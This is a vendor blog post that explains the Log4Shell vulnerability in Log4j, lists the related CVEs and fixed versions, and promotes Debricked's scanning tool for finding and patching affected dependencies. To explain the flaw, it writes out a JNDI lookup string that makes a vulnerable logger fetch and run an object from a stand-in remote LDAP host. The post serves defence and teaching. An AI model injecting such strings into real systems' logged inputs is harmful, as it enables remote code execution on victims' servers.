How to detect, fix and prevent the Log4Shell vulnerability in Log4j

The Log4Shell vulnerability provided possibilities for remote code execution on a scale that had not been seen before. The execution of arbitrary code on a vulnerable system, together with the widespread use of the logging library, gave attackers an enormous playground.

In addition, logging input data is required by many different types of applications and many use cases, resulting in a range of exploitation opportunities. This post will discuss the vulnerability in more detail and describe how you can use Debricked to detect and mitigate it.

In this blog post:

  • Log4Shell vulnerability explained
    Everything you need to know about Log4Shell in one section: from its distinctive properties to some possible exploitations.  
  • Published Log4j vulnerabilities
    A list of the published Log4j vulnerabilities that is good to keep track of.
  • How to mitigate Log4jShell with Debricked’s free tool
    A step-by-step guide to mitigating Log4j vulnerabilities with Debricked’s free Software Composition Analysis (SCA) tool.
  • Automating vulnerability identification
    Instead of carrying out manual vulnerability identification, Debricked’s SCA tool enables you to automate and streamline the whole process. 
  • Preventing Log4Shell and other vulnerabilities
    Your security portfolio should not be static because threats are not. Understand the importance of vulnerability identification and use automatic solutions to create an efficient frontier for your projects.

Log4Shell vulnerability explained

Let us take a closer look at the vulnerability to better understand its distinguishing properties. Identified as CVE-2021-44228, the vulnerability is a remote code execution vulnerability, meaning that it allows an attacker to execute code on a vulnerable system. 

Such vulnerabilities are particularly harmful as they allow the possibility for a myriad of attacks. Since it surfaced in December 2021, exploitations that have been observed thus far include coin mining, ransomware attacks, and the installation of backdoors and command shells.

Input validation

The problem lies in how the log4j library sanitizes and neutralizes input. To start with the basics, string interpolation is used by many languages to embed an expression into a string, such as:

logger.error(“Error message: {}”, e.getMessage())

The Log4j library also accepts input in the form ${abc}, which will be interpreted as an executable expression. This is known as an expression language that allows us to evaluate expressions, introducing logic into the data handled by the log4j library. 

The expression language can be used to write, for instance, environment variables to the log in order to more accurately understand the request error to log. An environment variable can be added to the log message using,

logger.error(“Variable is: {}”, “${env:ENV_VARIABLE}”)

Mixing data and logic is known to have caused trouble many times before. A notable example is the SQL injection attack, which exploits the fact that the application does not properly separate data and SQL logic. Another example is command injection, allowing an adversary to include OS/application commands in data sent to an application. 

If the data is not sanitized, a user that can influence what is being logged can inject expressions which the Log4j library then interprets. Such an injection could subsequently result in a log file containing sensitive data. 

What is even worse is that the expressions can also evaluate to make remote queries to other servers, fetch data, and then execute the received data as code. This is where the main severity of the vulnerability lies.

Adding to the problem

JNDI (Java Naming and Directory Interface), is an API that can, as the name suggests, be used to fetch resources from a remote location. It is used to store Java objects remotely and then stream a serialized representation of the object to the Java application, which can then use the object. The LDAP protocol is used to identify the object by mapping its name to the actual object. 

The functionality to allow making JNDI lookups in log messages was introduced to Log4j in 2013. This was (most likely) not maliciously inserted, but was instead seen as a feature in order to allow certain properties of the logging to be centralized in one location. 

Continuing the previous example, such a JNDI lookup could be included in the log message through,

logger.error(“Variable is: {}”, “${jndi:ldap://location.com/java_object}”)

It is easy to imagine how the JNDI object could be controlled by an attacker. If a username is logged through,

logger.error(“Username is: {}”, uname)

then an attacker could provide the JNDI lookup to the object pointed to by LDAP by writing it in the username field of a web application log in. Other examples include HTTP request headers which can be attacker controlled and possibly logged.

Given the above, it is thus possible for anyone to inject a Java object into the JVM of the victim. Such an object could then contain arbitrary code, which will be executed on the victim’s computer, resulting in remote code execution.

Example of Log4Shell exploitation, where the username is logged by the library

Published Log4j vulnerabilities

Over the course of a few days, several vulnerabilities related to the JNDI functionality were discovered. These vulnerabilities can be collectively referred to as Log4Shell, though the first two are most important and related to the actual severity of the problem. 

The original vulnerability is identified as CVE-2021-44228 and published 2021-12-10. This vulnerability exposed the behavior described above, allowing an attacker to inject code into the JVM of a victim. The remediation was to update the library to version 2.15.0, which restricts the JNDI lookups to localhost by default.

A few days later, on 2021-12-13, a new vulnerability was published, identified as CVE-2021-45046. It was noted that the restriction to localhost could be circumvented under some specific conditions. The update to patch this remaining vulnerability was version 2.16.0.

Following the “popularity” of Log4Shell, there were many eyeballs on the library and specifically the JNDI functionality. Already on 2021-12-15, it was shown that the same functionality allowed for another type of attack, namely that it was possible to trick the library to do an endless recursion. It received the identifier CVE-2021-45105. This vulnerability was far less significant, only impacting the availability of the service since the recursion resulted in a denial of service attack. It was fixed by removing the support for the LDAP protocol altogether in 2.17.0.

On 2021-12-28, the industry learned that it was still possible to do a remote code execution if the JDBC Appender was in use. This appender is used to write log events to a database. Exploiting this vulnerability required that the attacker could modify the configuration file. It received the identifier CVE-2021-44832 and the vulnerability was fixed in version 2.17.1.

How to mitigate Log4j with Debricked’s free SCA-tool

With Debricked’s free SCA-tool, not only would you be able to automatically detect the presence of the Log4Shell vulnerability and patch your software, you could do it very fast and easily. Using real-time environmental analysis, the tool identified the use of the vulnerable libraries before they were enumerated in the NVD database. That way, you minimize your exposure and leave all the heavy lifting to Debricked.

This is how you would use the tool to mitigate the vulnerabilities.

1. Set up a Debricked account

 The first step is to register a free account on https://debricked.com.

Register page

We either use an email address or sign up through GitHub SSO. If we sign up and log in with an email address, we will be presented with an option to integrate with a source code management system. If we host our software on GitHub, we choose GitHub. Debricked additionally supports a large number of other integrations, such as GitLab, BitBucket, Azure Devops and more. For a complete list of integrations and details on how to set them up, refer to the documentation.

2. Scan the repositories

Next, we log in to our GitHub account (if you are already logged in, you will skip this step.)

Then we choose to scan all our repositories for vulnerabilities. When the scan is finished, which usually takes a few minutes depending on the number of scanned repositories added, we can see the vulnerabilities in the repositories. In our example, we have forked the Apache httpomponents-client repository which uses Log4j as a dependency and Maven for project management.

Repository overview page

3. Fix the detected vulnerability

As can be seen, one vulnerability was found in this repository. If we click on the repository, we get more information about the vulnerabilities in the repository.

A detailed list of identified vulnerabilities

The vulnerability found was CVE-2021-44832, which applies to versions 2.17.0 and below. If we again click on the vulnerability, we get more information about it. In particular, we find the vulnerability description both from NVD and from the GitHub advisory database. 

We can set a review status or pause the notification of the vulnerability (either for a set period of time, or until a fix is available). We can also see how the component was included in the repository and we are presented with the option to create a pull request for updating the dependency.

Detailed information and actions for a specific vulnerability

Scrolling down, we can see the CVSS score. From the different metrics, it is clear that while the vulnerability has a very high impact, it is difficult to exploit, giving it a balanced base CVSS score of 6.6, which translates to medium severity.

The CVSS score and its metrics

4. Or get help from the suggested fix

There is also the option to view a suggested fix for the vulnerability in order to update the pom.xml files with the included dependencies manually. After updating the pom.xml to include version 2.17.1 of the library, we can see that there are no more vulnerabilities in the repository.

The new dependency version is secure

Debricked will continuously scan and search for new vulnerabilities and we will be notified if any of the new versions will have a vulnerability. If, or when, that is the case we will be given the chance to immediately update the affected dependency.

Automating vulnerability identification

Since vulnerabilities are being exploited soon after their discovery, it is essential to remediate and patch the software quickly. As a developer, you want to develop, not frequently monitor a web UI for new vulnerabilities. 

This can easily be done through Debricked’s automations engine, which will allow you to define IFTTT statements for a range of events. For each repository, there are four rules predefined:

  • If a dependency contains a vulnerability which has not been marked as unaffected and which has not triggered this rule for this dependency before then notify all users in the group admins by email.
  • If a dependency contains a vulnerability which has not been marked as unaffected then send a pipeline warning.
  • If a new dependency is added where the license risk is at least medium then notify all users in the group admins by email.
  • If there is a dependency where the license risk is at least high then send a pipeline warning.

The rules capture policies regarding both vulnerabilities and licenses. These predefined rules will automatically give us a reasonable policy for building our projects, but of course, the rules can be both modified and deactivated. It is also possible to define your own rules. 

Maybe we want to be more stringent about vulnerabilities, in newly added dependencies, that are of high and critical severity. For these, we might want to completely fail the pipeline, not just give a warning. Then a rule capturing that policy for this specific repository would be created as follows.

Creating your own policy rules

The automations are very flexible and can capture several properties regarding both vulnerabilities and licenses. The actions taken include the possibility to send emails, fail or send pipeline warnings, flagging vulnerabilities. An action can also be to create a webhook that allows you to take any desired action on your own side.

Preventing Log4Shell and other vulnerabilities 

Log4Shell may very well have been the most critical vulnerability discovered in an open-source component. It serves as a nice example of why identifying vulnerable projects and immediately fixing them by updating components to a secure version is important. Since new vulnerabilities emerge every day, it makes monitoring them for all repositories, including the transitive dependencies, a far-fetched task.

Debricked’s SCA tool will give you the automatic solution you need to get started today. You can integrate the tool directly with your source code management system and rest assured that your projects are secure. On top of that, it also brings you features that help keep track of your license compliance and evaluate the health of all your open-source components. Create an account and try it for yourself! 

Want to stay up to date with our latest news and products?

Share on linkedin
Share on twitter
Share on facebook
Share on google

Leave a comment

Your email address will not be published. Required fields are marked *